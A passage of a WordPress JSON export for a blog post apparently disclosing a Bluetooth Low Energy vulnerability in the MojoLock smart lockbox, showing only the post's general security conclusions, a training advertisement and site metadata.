class=\"wp-block-heading\"><strong>Conclusions<\/strong>&nbsp;<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>It is never a good idea to reinvent the wheel<\/strong>: The Security Manager (SM) and Generic Access Profile (GAP) levels of the BLE core specification specify rules and algorithms to allow secure connections.<\/li>\n\n\n\n<li><strong>Always follow code best practices and code review<\/strong><\/li>\n\n\n\n<li><strong>Security is a process not a product, therefore it must be applied in each phase of the life cycle of a product.<\/strong><\/li>\n<\/ol>\n\n\n\n<p><strong>Stay tuned for future works. Thank you!<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-align-center\"><strong>WHID&#8217;s Trainings<\/strong><\/h3>\n\n\n\n<p class=\"has-text-align-center\">The Offensive Hardware Hacking Training is a Self-Paced training including Videos, a printed Workbook and a cool Hardware Hacking Kit. And\u2026 you get everything shipped home Worldwide!\u00a0<br>For more info\u2026<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Offensive Hardware Hacking Training\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/zbUuBZJIHkE?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Recently Luca came across MojoLock which is a &#8220;digital lockbox focused on smart access&#8220;. On February 26 &nbsp;a vulnerability was [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":574,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[20,22,21],"tags":[],"class_list":["post-573","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-full-disclosure","category-hardware-hacking","category-radio-hacking"],"uagb_featured_image_src":{"full":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox.gif",848,464,false],"thumbnail":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox-150x150.gif",150,150,true],"medium":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox-300x164.gif",300,164,true],"medium_large":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox-768x420.gif",768,420,true],"large":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox.gif",848,464,false],"1536x1536":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox.gif",848,464,false],"2048x2048":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox.gif",848,464,false],"woocommerce_thumbnail":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox-300x300.gif",300,300,true],"woocommerce_single":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox-600x328.gif",600,328,true],"woocommerce_gallery_thumbnail":["https:\/\/www.hardwaresecurity.it\/wp-content\/uploads\/2025\/12\/mojobox-100x100.gif",100,100,true]},"uagb_author_info":{"display_name":"admin","author_link":"https:\/\/www.hardwaresecurity.it\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":"Recently Luca came across MojoLock which is a &#8220;digital lockbox focused on smart access&#8220;. On February 26 &nbsp;a vulnerability was [&hellip;]","_links":{"self":[{"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=\/wp\/v2\/posts\/573","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=573"}],"version-history":[{"count":1,"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=\/wp\/v2\/posts\/573\/revisions"}],"predecessor-version":[{"id":593,"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=\/wp\/v2\/posts\/573\/revisions\/593"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=\/wp\/v2\/media\/574"}],"wp:attachment":[{"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=573"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=573"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.hardwaresecurity.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=573"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}